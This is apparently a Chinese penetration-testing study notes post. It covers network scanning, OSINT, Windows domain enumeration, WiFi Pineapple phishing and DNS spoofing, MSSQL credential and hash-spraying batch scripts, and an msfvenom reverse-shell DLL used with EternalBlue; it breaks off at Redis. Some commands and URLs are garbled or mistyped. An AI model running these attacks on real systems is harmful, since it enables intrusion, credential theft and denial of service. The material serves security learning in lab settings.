Notes Ninth Day-渗透攻击-红队-打入内网
**
Notes Ninth Day-滲透攻擊-紅隊-打入內網(dayu)
**
作者:大余
時間:2020-09-25
請注意:對于所有筆記中復現的這些終端或者服務器,都是自行搭建的環境進行滲透的。我將使用Kali Linux作為此次學習的攻擊者機器。這里使用的技術僅用于學習教育目的,如果列出的技術用于其他任何目標,我概不負責。
我必須再重申一遍:務必不要做未授權測試!不要未經授權在真實網絡環境中復現任何本書中描述的攻擊。即使是出于好奇而不是惡意,你仍然會因未授權測試行為而陷入很多麻煩。為了個人能更好的繼續學習發展,有很多漏洞獎勵計劃和靶場可以供你學習試驗,但是請記住,即使是參加漏洞獎勵計劃,私自測試范圍外的網站或對網站進行深入破壞也會讓你有大麻煩。
文章目錄
- Notes Ninth Day-滲透攻擊-紅隊-打入內網(dayu)
- 一、信息收集
- 1、主機發現
- nmap
- Masscan
- Nbtscan
- hping3
- 2、關聯信息生成
- 字典生成:pydictor
- 3、開放漏洞情報
- 常用網站
- Search Exploit一DB
- 4、開源情報信息搜集(OSINT)
- 搜索引擎語法
- 在線接口
- 相關工具
- 5、Github Hacking
- 搜索代碼
- 搜索案例
- 自動化工具
- 6、google hacking
- 7、Git-all-secret
- 8、mailsniper.ps1獲取outlook所有聯系人
- 9、內網滲透之信息收集
- Windows(工作者和域)
- Windows(域)
- Linux
- 10、后滲透信息收集之wmic命令的一些使用方法
- wmic的簡單使用
- 以進行為例展現wmic的使用
- 關于powershell的Get-Wmi對象
- 11、內網橫向常見端口
- Port. 445
- Port:137、138、139
- 二、打入內網
- 1、外部接入點-WiFi
- 2.1.1 無線攻擊實戰應用之 DNSSpoof、Evil Portal、DWall
- 2.1.2 防護意見
- 2、應用系統漏洞利用
- 2.2.1 常見漏洞掃描
- 2.2.1.1 Nmap掃描漏洞技巧
- 2.2.1.2 impacket框架之mssql服務器安全檢測
- 2.2.1.3 MS17010py腳本利用
- 2.2.2 未授權訪問漏洞
- 2.2.2.1未授權漏洞總結
- Redis
- Jenkins
- Mongodb
- ZooKeeper
- Elasticsearch
- Memcache
- Hadoop
- Couchdb
- Ldap
- 2.2.2.2 JBOSS未授權訪問
- 2.2.3 遠程代碼執行漏洞
- 2.2.3.1 Java下奇怪的命令執行
- 2.2.3.2 Shiro反序列化記錄
- 2.2.3.3 RMI-反序列化
- 2.2.3.4 JNDI注入
- 2.2.3.5 fastjson漏洞淺析
- 2.2.3.6 CVE-2019-11043 PHP遠程代碼執行復現
- 2.2.3.7 java webshell從入門到入獄系列1-基礎篇
- 2.2.3.8 深究XMLdecoder (dayu-Third day)
- 2.2.3.9 FastJson 反序列化學習
- 2.2.3.10 Oracle 數據庫安全思考之xml反序列化
- 2.2.3.11 Webshell繞安全模式執行命令
- 2.2.3.12 Java 下的XEE漏洞
- 2.2.3.13 Solr Velocity模板遠程代碼復現及利用指南
- 2.2.3.14 Solr-RCE-via-Velocity-template
- 2.2.3.15 java webshell 從入門到入獄系列2-攻防對抗之Bypass-上篇
- 2.2.3.16 java webshell 從入門到入獄系列3-攻防對抗之Bypass-中篇
- 2.2.3.17 java webshell 從入門到入獄系列4-攻防對抗之Bypass-下篇
- 2.2.3.18 Java反序列化過程深究(dayu-fourth day)
- 2.2.3.19 Apache Slor不安全配置遠程代碼執行漏洞復現及jmx rmi利用分析
- 2.2.3.20 java命令執行小細節
- 2.2.3.21 JDK反序列化Gadgets-7u21
- 2.2.3.22 Weblogic-T3-CVE-2019-2890-Analysis
- 2.2.3.23 spring-boot-actuators未授權漏洞
- 2.2.3.24 SEMCMS2.6后臺文件上傳漏洞審計
- 2.2.3.25 代碼審計之lvyecms后臺getshell
- 2.2.3.26 Log4j-Unserialize-Analysis
- 2.2.3.27 JAVA反序列化- FastJson組件
- 2.2.3.28 Spring-securiy-oauth2 (CVE-2018-1260)
- 2.2.4 WAF-bypass(dayu-Fifth day)
- 找真實IP,繞過CDN
- https降級繞過
- ssl問題繞過
- method 繞過
- Heard IP 繞過
- XSS
- SQL
- Mysql
- 命令執行
- 文件上傳繞過
- 解析漏洞
- PHP CGI 解析漏洞
- 系統特性:利用NTFS ADS特性
- 協議解析不一致,繞過waf(注入跨站也可嘗試)
- 文件類型繞過/Header 頭類型
- 未解析所有文件
- 不規則Content-Disposition文件名覆蓋
- boundary 繞過
- 文件名覆蓋繞過
- 遺漏文件名
- 其他類型繞過
- HPP HTTP參數污染/拼接繞過
- HPF HTTP分割注繞過
- 最后另類繞過合集
- 2.2.5 登錄口JS前端加密繞過
- jsEncrypter安裝與本地測試 (dayu-Sixth day)
- 2.2.6 XMLDecoder 標簽、POC
- 2.2.7 phpMyAdmin去getshell
- 2.2.8 攻擊JWT的一些方法
- 2.2.9 上傳漏洞
- 上傳技巧
- 上傳的思路
- KindEditor
- 2.2.9.1 上傳漏洞總結
- 概要說明
- 服務端的上傳驗證
- 上傳繞過姿勢
- 文件擴展名繞過(asp、aspx、php、jsp)
- Content-Disposition、content-type、文件內容檢測、雙文件
- 客戶端檢測(JavaScript檢測)(dayu-Seventh day)
- WAF繞過(阿里云、安全狗、百度云、云鎖)
- 實戰分析
- upload-labs過關
- 造洞
- 2.2.10 注入漏洞
- MSSQL注入
- MYSQL注入
- 盲注
- Sqlmap
- 2.2.10.1 MSSQL利用總結(dayu-Eighth day)
- 命令執行
- 注冊表
- 持久化
- 文件操作
- 信息獲取
- 2.2.10.2 攻擊MSSQL--PowerUpSQL 介紹
- 發現MSSQL實例
- 獲取MSSQL信息
- 測試口令
- 持久性
- 獲取域信息
- 防御方案
- 2.2.10.3 如何利用Mysql安全特性發現漏洞
- Mysql權限
- load_file函數用法
- Mysql版本差異
- 成功利用實例
- 腦洞大開
- 2.2.10.4 Hibernate基本注入
- 2.2.10.5 mysql 利用general_log_file、slow_query_log_file寫文件
- 2.2.10.6 SQL Server注入 Getshell 有趣案例
- 2.2.11 文件讀取漏洞
- 2.2.12 Pentesterlab Xss
- 2.2.13 Office宏的基本利用
- 2.2.14 Java-security-calendar-2019-Candy-Cane
- 2.2.15 Discuz Ssrf Rce漏洞分析報告
- 2.2.16 WordPress語言文件代碼執行漏洞分析
- 2.2.17 Struts2遠程命令執行s2-048漏洞分析報告
- 2.2.18 靜態免殺php一句話(已過D盾,河馬,安全狗)
- 2.2.19 金融信息系統安全測評方法(不公布!)
- 2.2.20 Apache-Poi-XXE-Analysis
- CVE-2014-3529
- CVE-2019-12415
- 2.2.20 記一次阿里主站xss測試及繞過waf防護
- 2.2.21 ClassLoader類加載機制
- 2.2.22 淺談SSRF原理及其利用(dayu-Ninth Day)
- 2.2.23 Spring-Data-Commons (CVE-2018-1273)
- 2.2.24 xss繞過代碼后端長度限制的方法
- 2.2.25 mysql提權之mof
- 2.2.26 mysql提權之udf
- 2.2.27 XSS 基礎學習
- 2.2.28 java 反射與內存shell 初探-基于jetty容器的shell 維權
一、信息收集
1、主機發現
nmap
官網: https://nmap.org/
安裝系統及命令:
Mac os: brew install nmap
Centos: yum install nmap
Ubuntu: apt一get install nmap
參考手冊: https://nmap.org/man/zh/index.html
掃描方式
常見的七種掃描方式:
ТСР: -sT
SYN: -sS
ACK: -sA
UDP: -sU
RPC: -sR
ICMP: -sP
Disable Port Scan: -sn
最常見的這些參數解釋:https://blog.csdn.net/liudongdong19/article/details/83506731
常見掃描案例
掃描10000端口、操作系統、版本
版本探測
nmap -sV <target>操作系統
nmap -O <target>其他常用技巧:
--host-timeout 主機超時時間 通常選值:18000 --scan-delay 報文時間間隔 通常選值:1000 -s <源地址> 定義掃描源地址,為了不被發現示例
nmap -V -iR 100000 -PO -p 80
隨機選擇100000臺主機掃描是否運行Web服務器(80端口)。由起始階段發送探測報文來確定主機是否工作非常浪費時間,而且只需探測主機的一個端口,因此使用-PO禁止對主機列表。
進行DNS區域傳輸,以發現company.com中的主機,然后將IP地址提供給Nmap。上述命令用于GNU/Linux —— 其它系統進行區域傳輸時有不同的命令。
輸出
-oN <File> -oX <XML File> -oG <filespec> 參考:http://www.unspecific.com/nmap-oG-output/Masscan
項目地址: https://github .com/robertdavidgraham/masscan
安裝:
$ sudo apt-get install git gcc make libpcap一dev
$ git clone https://github. com/ rober tdavidgr aham/ masscan
$ cd masscan
$ make
高級選項
命令:sudo masscan --ports 1-10000 192.168.1.4 --adapter-ip 192.168.175.128
命令:masscan -e eth0 -p 1-65535 --rate 1000 192.168.1.4
在網絡環境慢的情況下,快速掃描出存在端口與nmap配合
Nbtscan
kali系統自帶nbtscan,以及查看幫助說明
nbtscan掃描可以發現主機名、MAC addr等信息…
掃描整個C段
nbtscan 192.168.1.1-100掃描一個范圍
nbtscan -v -s : 192.168.1.0/24以:分割顯示結果
nbtscan -f <File>從文件讀取掃描范圍
高級用法
hping3
hping3主要測試防火墻的攔截規則,對網絡設備進行測試
常用模式
SYN方式掃描主機端口
可以看到,目標主機回復了: S…A,代表SYN/ACK
hping3 -S -a 114.114.114.114 -p 53 114.114.114.114 -c 5測試防火墻對ICMP包的反應、是否支持traceroute、是否開放某個端口、對防火墻進行拒絕服務攻擊(DoS attack)。例如,以LandAttack方式測試目標防火墻(Land Attack是將發送源地址設置為與目標地址相同,誘使目標機與自己不停地建立連接)
DRDDOS
hping3 -udp -a 114.114.114.114 -p 53 114.114.114.114 -c 5基于UDP的DOS
參考
http://0daysecurity.com/articles/hping3_ examples.html --很詳細用法的解釋 http://man.linuxde.net/hping32、關聯信息生成
在滲透前期工作開展之前,需要對目標的各種信息進行分析、拆分、組合
例如:赫爾巴斯亞基國
根據地域習慣、宗教、互聯網開放信息等信息進行簡要拆分,假設獲取的信息如下:
根據宗教、習慣、IP地址、 開放數據支持…等,為后續的字典生成、魚叉、水坑攻擊鋪下基石
字典生成:pydictor
安裝:
git clone https://github.com/LandGrey/pydictor生成字典
命令:python pydictor.py --sedb
常見的命令:
python pydictor.py --sedb set cname liwei set sname lw Lwei set ename zwell set birth 19880916 set usedpwd liwei123456. liwei@19880916 lw19880916_123 set phone 18852006666 set uphone 15500998080 set hphone 76500100 61599000 01061599000 set email 33125500@qq.com set email 13561207878@163.com set email weiweili@gmail.com set email wei010wei@hotmail.com set postcode 663321 962210 set nickname zlili set idcard 152726198809160571 set jobnum 20051230 100563 set otherdate 19591004 19621012 set otherdate 19870906 19880208 set usedchar tiger gof gamesthrones 176003 m0n5ter ppdog常用的組合命令:
合并去重
多字典文件組合工具
python pydictor.py -tool hybrider heads.txt some_others.txt tails.txt參考詳細:https://github.com/LandGrey/pydictor/blob/master/docs/doc/usage.md
3、開放漏洞情報
常用網站
CVE:https://cve.mitre.org/ Exploit-DB:https://www.exploit-db.com/ CX Security:https://cxsecurity.com/ CNVD:https://www.cnvd.org.cn/ securitytracker:https://www.securitytracker.com/**
Search Exploit一DB
**
利用searchsploit apache 5.3.12搜索apache漏洞…這很熟悉了…
命令:searchsploit -u
更新最新exp庫…
4、開源情報信息搜集(OSINT)
搜索引擎語法
百度:https://www.baidu.com 谷歌:https://www.google.com 必應:https://cn.bing.com在線接口
http://ce.baidu.com/index/getrelatedsites?site_address=baidu.com http://www.webscan.cc/ http://sbd.ximcx.cn/ --在線子域名查詢-接口光速版 https://censys.io/certificates?q=.example.com https://crt.sh/?q=%25.example.com https://github.com/c0ny1/workscripts/tree/master/get-subdomain-from-baidu https://dnsdumpster.com/ --查詢DNS記錄、偵查、研究 https://www.threatcrowd.org/searchApi/v2/domain/report/?domain=baidu.com --和第一個一樣 https://findsubdomains.com/ https://dnslytics.com/search?g=www.baidu.com --DNSlyrics https://pentest-tools.com/information-gathering/find-subdomains-of-domain --DNS攻擊面2次免費 https://viewdns.info/ --功能很多 https://www.ipneighbour.com/#/lookup/114.114.114.114 --鄰居發現 https://securitytrails.com/list/apex_domain/baidu.com https://url.fht.im/ http://api.hackertarget.com/hostsearch/?q=baidu.com http://www.yunsee.cn/finger.html --云悉(限制挺大)有幾個挺好用的,自行挖掘…
相關工具
https://github.com/rshipp/awesome-malware-analysis/blob/master/惡意軟件分析大合集.md此網站極力推薦學習!!!
5、Github Hacking
您可以在所有公共GitHub存儲庫中搜索以下類型的信息,以及您有權訪問的所有私有Github存儲庫
Repositories Topics Issues and pull requests Code Commits Users Wikis參考 :
Searching for repositories Searching topics Searching code Searching commits Searching issues and pull requests Searching users Searching wikis Searching in forks可以使用以上方式搜索頁面或高級搜索頁面搜索Github
您可以使用>,>=,<,和<搜索是大于,大于或等于,小于和小于或等于另一個值的值
下面會介紹如何搜索
搜索倉庫
>_n cats stars:>1000匹配關鍵字"cats"且star大于1000的倉庫 >=_n_ cats topIcs:>=5匹配關鍵字"cats"且標簽數量大于等于5的倉庫 <_n_ cats size:<10000匹配關鍵字"cats"且文件小于10KB的倉庫 <=_n_ cats stars:<=50匹配關鍵字"cats"且star小于等于50的倉庫 _n_..* cats stars:10..*匹配關鍵字"cats"且star大于等于10的倉庫 *.._n_ cats stars:*..10匹配關鍵字"cats"且star小于等于10的倉庫 n..n cats stars:10..50匹配關鍵字"cats"且star大于10且小于50的倉庫搜索代碼
注意事項
只能搜索小于384KB的文件 只能搜索少于500,000個文件的存儲庫,登錄的用戶可以搜索所有公共存儲庫 除filename搜索外,搜索源代碼時必須至少包含一個搜索詞。例如,搜索language: Javascript無效,而是這樣: amazing language:Javascript 搜索結果最多可以顯示來自同一文件的兩個片段,但文件中可能會有更多結果。您不能將以下通配符用作搜索查詢的一部分“.、! " = * ! ? # $ & + ^ | ~ < > ( ) { } [ ] 搜索將忽略這些符號日期條件
cats pushed:<2012-07-05 搜索在2012年07月05日前push代碼,且cats作為關鍵字 cats pushed:2016-04-30..2016-07-04 日期區間 cats created:>=2017-04-01 創建時間邏輯運算
AND、OR、NOT排除運算
cats pushed:<2012-07-05 language:java 搜索在2012年07月05日前push代碼,且cats作為關鍵字,排除java語言倉庫包含搜索
cats in:file 搜索文件中包含cats的代碼 cats in:path 搜索路徑中包含cats的代碼 cats in:path,file 搜索路徑、文件中包含cats的代碼 console path:app/public language:javascript 搜索關鍵字 console,且語言為javascript,在app/public下的代碼主體搜索
user: USERNAME 用戶名搜索 org: ''ORGNAME 組織搜索 repo: USERNAME/REPOSITORY 指定倉庫搜索文件大小
size:>1000 搜索大小大于1KB的文件搜索案例
filename:config.php language:php 搜索文件名為 config.php,且語言為php的代碼
搜索Java項目配置文件: mail filename:.properties
搜索extension:yaml mongolab.com 中存在的代碼信息等
自動化工具
https://github.com/unkl4b/gitmIner
example使用即可,非常好用
6、google hacking
用法
示例
搜索目標包含后臺的頁面
命令:inurl:/admin intext: 后臺管理系統
搜索目標是否有目錄列表
可看到存在目錄列表很多url
命令:intext: index of / | ../ | Parent Directory
7、Git-all-secret
特性
可以添加自己的正則表達式,在 docker run的時候使用-V
(pwd)/ rules. json; /root/truffleHog/rules. json??梢允褂媚J正則表達式,如果需要,也可以用truffleHog提供的高熵字符串。可以通過repo- supervisor工具搜索s和json中的高熵字符串。可以搜索用戶的Gist,大多數工具都沒這個功能。有新工具可以很容易地集成到 git-all-secrets。支持掃描企業 Github orgs/ users/repos/ gists。大多數工具只掃描單個倉庫,gtal- secrets可以一次掃描多個…
需要在docker環境下安裝,我跳過了這個,以后有精力查看!
8、mailsniper.ps1獲取outlook所有聯系人
條件
掌握其中一個用戶郵箱的賬號密碼,并且可以登錄outlook
outlook地址可以是官方的也可以是目標自己搭建的,并無影響
目的
獲取目標郵箱里的所有聯系人,方便后續爆破弱口令等等
利用
將嘗試 Outlook Web Access(OWA)和Exchange Web服務(EWS)的方法。此命令可用于從Exchange收集電子郵件列表 :
Get-GlobalAddressList -ExchHostname "outlook地址” -UserName “域名/域用戶名” -Password “密碼” -OutFile global-address-list.txt可以自己搭建目標outlook在自己服務器上
此處使用kion的域環境模擬
在mailsniper. ps1最后一行加入以下代碼,也可以通過傳參的形式調用
嘗試使用我們傳遞的賬號密碼去登錄目標的outlook,成功登錄后會把郵件里的聯系人都獲取下來,并輸出保存到文件里
如果outlook在Office365上道理也是一樣的,把ExchHostname指向outlook.office365.com即可,username使用完整的郵箱不要是用戶名即可
Get-GlobalAddressList -ExchHostname outlook.office365.com -Username 用戶名@郵箱.....參考鏈接
https://www.blackhillsinfosec.com/abusing-exchange-mailbox-permissions-mailsniper/ https://www.cnblogs.com/backlion/p/6812690.html工具地址
https://github.com/dafthack/mailsniper9、內網滲透之信息收集
Windows(工作者和域)
檢查當前shell權限
whoami /user & whoami /priv
查看系統信息
收集信息主機名->扮演角色
Tcp/udp 網絡連接狀態信息
netstat -ano可以獲取內網IP分布狀態-服務(redis)
查看機器名
查看當前操作系統
wmic OS get Caption,CSDVersion,OSArchitecture,Version ver
查殺軟
查看當前安裝的程序
查看在線用戶
查看網絡配置
ipconfig /all
有 Primary Dns Suff就說明是域內空的則當前機器應該在工作組
查看進程
tasklist /v
有些進程可能是域用戶啟的->通過管理員權限憑證竊取->竊取域用戶的憑證
查看當前登陸域
net config workstation
遠程桌面鏈接歷史記錄
可以把憑證取下來->本地密碼
查看本機上的用戶賬戶列表
net user
查看本機用戶xxx的信息
查看本機用戶xxx的信息
Windows(域)
nltest /domain_trusts /all_trusts /v /server: 192.168.xx.xx 返回所有信任域列表 nltest /dsgetdc:hack /server:192.168.xx.xx 返回域控和其相應的IP地 net user /do 獲取域用戶列表 net group "domain admins" /domain 獲取域管理員列表 net group "domain controllers" /domain 查看域控制器(如果有多臺) net group "domain computers" /domain 查看域機器 net group /domain 查詢域里面的工作組 net localgroup administrators 本機管理員[通常含有域用戶] net localgroup administrators /domain 登錄本機的域管理員 net localgroup administrators workgroup\user001 /add 域用戶添加到本機 net view 查看同一域內機器列表 net view \\ip 查看某IP共享 net view \\GHQ 查看GHQ計算機的共享資源列表 net view /domain 查看內網存在多少個域 net view /domain:XYZ 查看XYZ域中的機器列表 net accounts /domain 查詢域用戶密碼過期等信息Linux
查看當前權限
whoami查看網卡配置
ifconfig查看端口狀態(開啟了哪些服務,內網IP連接等
netstat -anpt查看進程狀態(開啟了哪些服務等)
ps -ef查看管理員的歷史輸入命令(獲取密碼,網站目錄,內網資產等信息)
cat /root/.bash_history查找某個文件(尋找配置文件等)
find / -name *.cfg10、后滲透信息收集之wmic命令的一些使用方法
前言
wmic和cmd一樣在所有的windows版本中都存在,同時wmic有很多cmd下不方便使用的部分,今天給大家介紹一些在后滲透過程中非常適用的使用wmic進行信息收集的命令
關于wmic
WMI命令行(WMIC)實用程序為WMI提供了命令行界面。WMIC與現有的Shell和實用程序命令兼容。在WMIC出現之前,如果要管理WMI系統,必須使用一些專門的WMI應用,例如SMS,或者使用WMI的腳本編程API,或者使用象CIM Studio之類的工具。如果不熟悉C++之類的編程語言或VBScript之類的腳本語言,或者不掌握WMI名稱空間的基本知識,要用WMI管理系統是很困難的,WMIC改變了這種情況
wmic的簡單使用
首先在cmd命令行輸入wmic進入交互式頁面,這里說一下在powershell也可以和cmd命令行一樣的操作
進入wmic和powershell模式下
根據實際的需要去對相關的信息進行讀取
以進行為例展現wmic的使用
這里的靶機是win7 x86的虛擬機,這里以查看進程為例:
wmic process get caption,executablepath,processid獲取系統當前正在運行的進程等信息
查看服務進程詳細信息
查看安裝的殺軟進程運行情況
查看存在狀態
系統安裝軟件情況
wmic environment get Description, VariableValue
系統環境變量
關于更多的信息可以通過官方的說明文檔
https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic關于powershell的Get-Wmi對象
Get-Wmi是獲取Windows Management Instrumentation(WMI)類的實例或有關可用類的信息。我們需要首先知道自己的 windows計算機支持那些可用的WMI類
Get-Wmiobject -list 自己的windows計算機支持那些可用的WMI類 get-wmiobject get-wmiobject -class win32_process在本地計算機上獲取進程
具體的參數以及命令在官方文檔中進行查詢:
https://docs.microsoft.com/zh-cn/powershell/module/Microsoft.PowerShell.Management/Get-WmiObject?view=powershell-5.l#parameters很棒的powershell官方命令
11、內網橫向常見端口
Port. 445
SMB( Server Message Block) Windows協議族,主要功能為文件打印共享服務,簡單來講就是共享文件夾
該端口也是近年來內網橫向擴展中比較火的端口,大名鼎鼎的永恒之藍漏洞就是利用該端口,操作為掃描其是否存在MS17-010漏洞。正常情況下,其命令主要是建立IPC服務中
空會話
net use \\192.168.1.x遠程本地認證
net use \\192.168.1.2 /user:a\username password注:a/username 中 a 為工作組情況下的機器命名,可以為任意字符,例如workgroup/username
域 test.local 遠程認證
net use \\192.168.1.2 /user:test\username passwordPort:137、138、139
NetBios端口,137、138為UDP端口,主要用于內網傳輸文件,而NetBios/SMB服務的獲取主要是通過139端口
Port: 135
該端口主要使用DCOM和RPC(Remote Procedure Call)服務,我們利用這個端口主要做WMI(Windows Management Instrumentation)管理工具的遠程操作
使用時需要開啟wmic服務 幾乎所有的命令都是管理員權限 如果出現 "Invalid Globa| Switch",需要使用雙引號把該加的地方都加上 遠程系統的本地安全策略的“網絡訪問:本地帳戶的共享和安全模式"應設為“經典-本地用戶以自己的身份驗證" 防火墻最好是關閉狀態該端口還可以驗證是否開啟 Exchange Servert
Port: 53
該端口為DNS服務端口,只要提供域名解析服務使用,該端口在滲透過程中可以尋找一下DNS域傳送漏洞,在內網中可以使用DNS協議進行通信傳輸,隱蔽性更加好
參考文章 :
dns隧道之dns2tcp
https://blog.csdn.net/gsls200808/article/details/50318947 https://blog.csdn.net/deng_xj/article/details/88834124dns隧道之unseat2
https://www.cnblogs.com/bonelee/p/7927706.html https://blog.csdn.net/ddr12231/article/details/102306989Port: 389
用于LADP(輕量級目錄訪問協議),屬于TCP/IP協議,在域過程中一般出現在域控上出現該端口,進行權限認證服務,如果擁有對該域的用戶,且擔心net或者其他爆破方法不可行的情況,可以嘗試使用LADP端口進行爆破
工具可以使用類似于hydra等開源項目
Port: 88
該端口主要開啟Kerberos服務,屬于TCP/IP協議,主要任務是監聽KDC的票據請求,該協議在滲透過程中可以進行黃金票據和白銀票據的偽造,以橫向擴展某些服務
Port: 5985
該端口主要介紹WinRM服務,WinRM是Windows對WS-Management的實現,WinRM允許遠程用戶使用工具和腳本對Windows服務器進行管理并獲取數據。并且WinRM服務自Windows Vista開始成為Windows的默認組件
條件:
Windows Vista上必須手動啟動,而Windows Server 2008 中服務是默認開啟的 服務在后臺開啟,但是端口還沒有開啟監聽,所以需要開啟端口 使用 winrm quickconfig 對winRM進行配置,開啟HTTP和HTTPSS監聽,且需要開啟防火墻二、打入內網
1、外部接入點-WiFi
2.1.1 無線攻擊實戰應用之 DNSSpoof、Evil Portal、DWall
組合拳入侵(配合)
前言:主要向大家介紹 WiFi Pineapple(以下簡稱“菠蘿”)設備的基本使用方法,以及通過菠蘿中的幾個模塊達到中間人攻擊,網站釣魚和獲得shell。文章中主要使用到DWall、Evil Portal與DNSMasq Spoofv三個模塊
Pineapple開啟與網絡橋接將菠蘿的按鈕由off劃到wifi標志,稍等片刻便會向周圍發射兩個無線信號。一個無線信號是菠蘿的管理ap,一個是給受害者使用的開放ap。這兩個ap的ssid以及管理ap的密碼均可以在菠蘿的web管理界面中設置
http://www.wifipi.org:8080/WiFiPineapple-%E7%94%A8%E6%88%B7%E6%89%8B%E5%86%8C-V1.3.pdf https://shop.hak5.org/products/wifi-pineapple參考該資料以及購買菠蘿設備連接!
簡單總結一下利用模塊解釋:
Evil Portal
可以利用Evil Portal模塊獲取TP-LINK管理員密碼,它的作用是可以使接入用戶在訪問任意網站時都跳轉到我們事先設置好的 Landing page中。 Landing Page是設置菠蘿網關的頁面,此處我們重定向到公網上一臺配置好釣魚網站的vps上,也可給菠蘿添加一張sd卡,直接將釣魚網站文件放置到菠蘿中
Dwall
使用DWall進行中間人攻擊DWall中文名稱叫"綿羊墻",是菠蘿中的一個默認安裝模塊,它可以嗅探已連接客戶端的所有HTTP請求,如URLS、Cookies、Post Data,以及實時地顯示出客戶端正在瀏覽的圖片等
DNSSpoof
此處使用到菠蘿中的 DNSMasq spoc模塊。它的作用是dns劫持,獲取到受害客戶端的域名解析控制權。我們可以在hosts中設置想要進行欺騙的域名,當用戶輸入該域名后,模塊會欺騙用戶將域名解析成設置好的IP,此處我們設置跳轉到菠蘿網關上
DNSSpoof模塊可以嘗試獲取shell,可以嘗試使受害者重定向到一臺公網上的vps來下載木馬文件,誘導受害者點擊。木馬文件可精心構造,比如具有欺騙性的文件名,免殺木馬等。
DNS欺騙原理
DNS服務器工作原理是,存儲IP地址到DNS名稱映射的記錄(稱為資源記錄)數據庫,聯系這些資源記錄與客戶端,并將這些資源記錄與其他DNS服務器聯系。而客戶端對于每個通過互聯網發送的DNS請求都包含一個獨特的識別碼,其目的在于辨識查詢和響應,并將對應的查詢和響應配對在起。這就意味著,如果我們可以攔截客戶端發送的DNS請求包,做一個包含該識別碼的假數據包,這樣目標計算機就會根據識別碼認為這個假數據包就是其需要的結果,從而接受我們發送的包。這里嘗試使用nslookup查看域名解析情況,用tracert命令跟蹤:無修改,dns欺騙,配置靜態dns,三種情況下訪問測試域名的路由情況
2.1.2 防護意見
配置靜態可靠的dns 將訪問的重要域名與P地址進行綁定 提高安全意識,不輕易連接不可信的、開放的無線熱點2、應用系統漏洞利用
2.2.1 常見漏洞掃描
2.2.1.1 Nmap掃描漏洞技巧
auth 處理身份驗證 broadcast 網絡廣播 brute 暴力猜解 default 默認 discovery 服務發現 dos 拒絕服務 exploit 漏洞利用 external 外部擴展 fuzzer 模糊測試 intrusive 掃描可能造成不良后果 malware 檢測后門 safe 掃描危害較小 version 版本識別 vuln 漏洞檢測通用參數 -vuln
nmap --script=vuln 192.168.175.138
這兒是我自己搭建的win7虛機掃描的結果,存在兩個高??衫寐┒辞闆r
MS17-010
map --script=smb-vuln-ms17-010 192.168.175.1382.2.1.2 impacket框架之mssql服務器安全檢測
在實際滲透測試工作中經常會遇到檢測項目中mssq服務器安全性,此篇文章介紹 impack框架中 mssqlclient的使用方法。
mssqlclient與其他工具相比的優勢
跨平臺,python腳本編寫,并且已有exe版本 命令行執行,速度快 支持使用 socks代理傳輸數據 支持以hash傳遞的方式進行賬號驗證 支持 windows認證模式進行mssq服務的安全檢測 執行sq命令可以是交互式,也可以直接回顯sq命令執行結果win和linux環境下使用
1)在windows環境下使用windows認證模式,mssqlclient測試登陸sqlserver服務器,賬號驗證通過后會直接返回 sql shell
2)通過 socks代理,在linux環境下使用 windows認證模式,mssqlclient測試登陸 sqlserver服務器,賬號驗證通過后會直接返回 sql shell
proxychains python mssqlclient.py dayu/sqladmin@192.168.x.x -windows-auth3)通過 socks代理,以mssql賬號驗證方式測試登陸mssql服務器,賬號驗證成功后執行mssql. txt內的sql命令
proxychains python mssqlclient.py ./sa:admin@192.168.x.x -file mssql.txt4)通過 socks代理,在linux環境下使用 windows認證模式,mssqlclient測試登錄sqlserver服務器,賬號驗證成功后執行 command.txt內的sql命令
proxychains python mssqlclient.py -p 1433 dayu/sqladmin:123456@192.168.x.x -windows-auth -file cpmmand.txt5)在windows環境下使用windows認證模式,使用ntlm hash驗證方式,mssqlclient測試登陸sqlserver服務器,賬號驗證成功后執行command.txt內的sql命令
mssqlclient.exe -p 1433 -hashes :"hash值" dayu/sqladmin@192.168.x.x -file command.txt -windows-auth同樣也可以用于webshell環境下
批量檢測
除此之外,還可以批量檢測內網 SQL server服務器的賬號安全性
需要準備的文件有:
以下四個文件需選其一:
hashes.txt (需驗證的 ntlm hash字符串列表) username.txt(需驗證的 username列表) password.txt(需驗證的密碼字符串列表) Ips.txt (需驗證的p字符串列表)舉例以下幾種批量檢測的bat腳本內容
1)測試以 windows認證模式,使用hash傳遞驗證,使用 mssqlclient批量測試登陸 sqlserver服務器,Ips.txt 內容為待檢測sqlserver服務ip,每行一條
FOR /F %%i in (ips.txt) do mssqlclient.exe -p 1433 -hashes :hash值 ......2)測試以 windows認證模式,使用hash傳遞驗證,指定主機 ntlm hash遍歷驗證,hashes.txt為待檢測已知 ntlm hash內容,每行一條
FOR /F %%i in (hashes.txt) do mssqlclient.exe -p 1433 -hashes %%i domain/adminis.......3)測試以 sqlserver認證模式,指定待檢測主機,遍歷驗證 passwords.txt 內密碼有效性,passwords.txt為已知密碼內容,每行一條,驗證成功后執行 command.txt內sql命令
FOR /F %%i in (passwords.txt) do mssqlclient.exe -p 1433 ./sa:%%i@192.168.x.x ....4)測試以 sqlserver認證模式,指定待檢測密碼,遍歷驗證ip.txt內所有服務器,ip.txt為待檢測sqlserver服務器,每行一條,驗證成功后執行 command. txt內sql命令
FOR /F %%i in (ips.txt) do mssqlclient.exe -p 1433 ./sa:password123@%%1i -file ......這四種命令補全查看前面的講解即可,或者查看參考資料
參考資料:
https://github.com/SecureAuthCorp/impacket --下載 https://www.puckiestyle.nl/impacket/ https://github.com/SecureAuthCorp/impacket/issues/6132.2.1.3 MS17010py腳本利用
前言
因為有些機器存在漏洞,但是使用MSF的模塊利用失敗,而使用py腳本則能成功利用
利用
在本地用虛擬機搭建了Kail 和 Windows7系統
windwos7靶機IP:192.168.175.138生成木馬dll
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.175.138 lport=6666 -f dll > 64.dll
py下載地址:fb.py
1)設置ip
2)Use Eternalblue使用 Eternalblue插件
3)Use doublepulsa使用 doublepulsar插件
4)最后執行dll反彈shell
操作步驟不截圖了挺簡單的…
2.2.2 未授權訪問漏洞
這類問題覆蓋的應用、利用方式較廣,因此只舉例頻次較高的漏洞
Redis
Redis是一個開源的使用ANSI C語言編寫、支持網絡、可基于內存亦可持久化的日志型、 Key-Value數據庫
reds-cli
redis-cli -h 172.16.x.x -p 6379如何寫入文件
